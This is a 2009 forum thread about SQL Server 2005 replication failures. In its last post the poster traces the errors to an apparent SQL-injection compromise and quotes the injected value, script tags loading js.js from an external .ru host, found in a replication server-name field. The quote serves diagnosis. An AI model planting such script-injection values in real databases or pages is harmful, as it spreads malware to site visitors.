February 24, 2009 at 10:28 am
I have taken over some company SQL Server 2005 servers. Publisher (and publications) on machine A (standard edition 64 bit sp2), and distributor and subscriber on machine B (standard edition 32-bit sp2).
One of the publications on machine A has got so out of date the subscription has expired and gone to red error state.
If I right-click the publication in Replication Monitor on machine A and select "Reinitialize All Subscriptions" it pops up an error window: Replication Monitor could not reinitialize one or more subscriptions that support automatic initialization
It also says Could not find stored procedure ". SQL error 2812.
In addition if I right-click the subscription in Replication monitor it is missing the items Start Synchronizing and Stop Synchronizing from the right-click menu (the other items View Details, reinitialize Subscription, Agent Profile, Properties, and Refresh are present).
This is the case with all other machines in the company, and other correctly-working publications on the server.
I am running SQL Server Management Studio using a domain admin account that is a member of the local administrators group. The SQL Server and agent services are both logged on as localsystem.
Both servers might have been running SQL 2000 beforehand and been upgraded to 2005. I have checked that both are running 2005 using select @@version
Microsoft SQL Server 2005 - 9.00.3073.00 (X64) Aug 5 2008 14:31:47 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)
Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23 2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Any ideas what is happening here?
Thanks
http://90.212.51.111 domain
February 24, 2009 at 11:58 am
neil (2/24/2009)
I have taken over some company SQL Server 2005 servers. Publisher (and publications) on machine A (standard edition 64 bit sp2), and distributor and subscriber on machine B (standard edition 32-bit sp2).One of the publications on machine A has got so out of date the subscription has expired and gone to red error state.
If I right-click the publication in Replication Monitor on machine A and select "Reinitialize All Subscriptions" it pops up an error window: Replication Monitor could not reinitialize one or more subscriptions that support automatic initialization
It also says Could not find stored procedure ". SQL error 2812.
First of all you should reinitialize only the subscriptions that actually need it not all. Apparently there is a subscription destination that is not available from the message you are posting!
In addition if I right-click the subscription in Replication monitor it is missing the items Start Synchronizing and Stop Synchronizing from the right-click menu (the other items View Details, reinitialize Subscription, Agent Profile, Properties, and Refresh are present).
If you are using PULL subscriptions such menu items are not provided. (MS SQL 2005 "Feature")
I really dislike that it was possible on SQL 2000 and not in 2005 or 2008 🙁
Your only option is to stop the distrib.exe job on the subscriber using SSMS or write a script to do it for you (which is what I had to do)
I even entered a request in connect and the answer was: "Won't Fix" grrrrrr
* Noel
February 24, 2009 at 6:17 pm
Hi,
This means that ur subscription has got completly expired and u need to re-start/re-initialize that subscription. The better option is to delete the expired subscription alone and re-create the subscription. Also u need to deceide if to pull or push the subscription
February 25, 2009 at 5:49 am
Hmm well it looks like these servers may have been compromised by a virus or similar:
When I try to add a new publication to the publishing server (server A), I get an error:
SQL Server could not create publication 'testpub' ...
Could not find stored procedure ''
Could not find stored procedure ''
Changed database context to 'vex2002' (Microsoft SQL Server, Error 2812)
Then I ran a SQL Profiler trace on both servers, and found that on the distribution server it ran:
exec "distribution"."sys"."sp_MShelplogreader_agent";1 @publisher=N'mydatabase<scr
ipt src=http://www.locm.ru/js.js></scr
ipt><scr
ipt src=http://www.locm.ru/js.js></scr
ipt>',@publisher_db=N'mydatabase'
(I had to break up the script tags above as this forum won't display them.
mydatabase is the name of the published database)
What is locu.ru? Google suggests it is a site used in SQL injection.:w00t:
More details:
This bad value for the servername seems to come from the sysreplservers system table in mydatabase on the publishing server.
http://90.212.51.111 domain
Viewing 4 posts - 1 through 3 (of 3 total)
You must be logged in to reply to this topic. Login to reply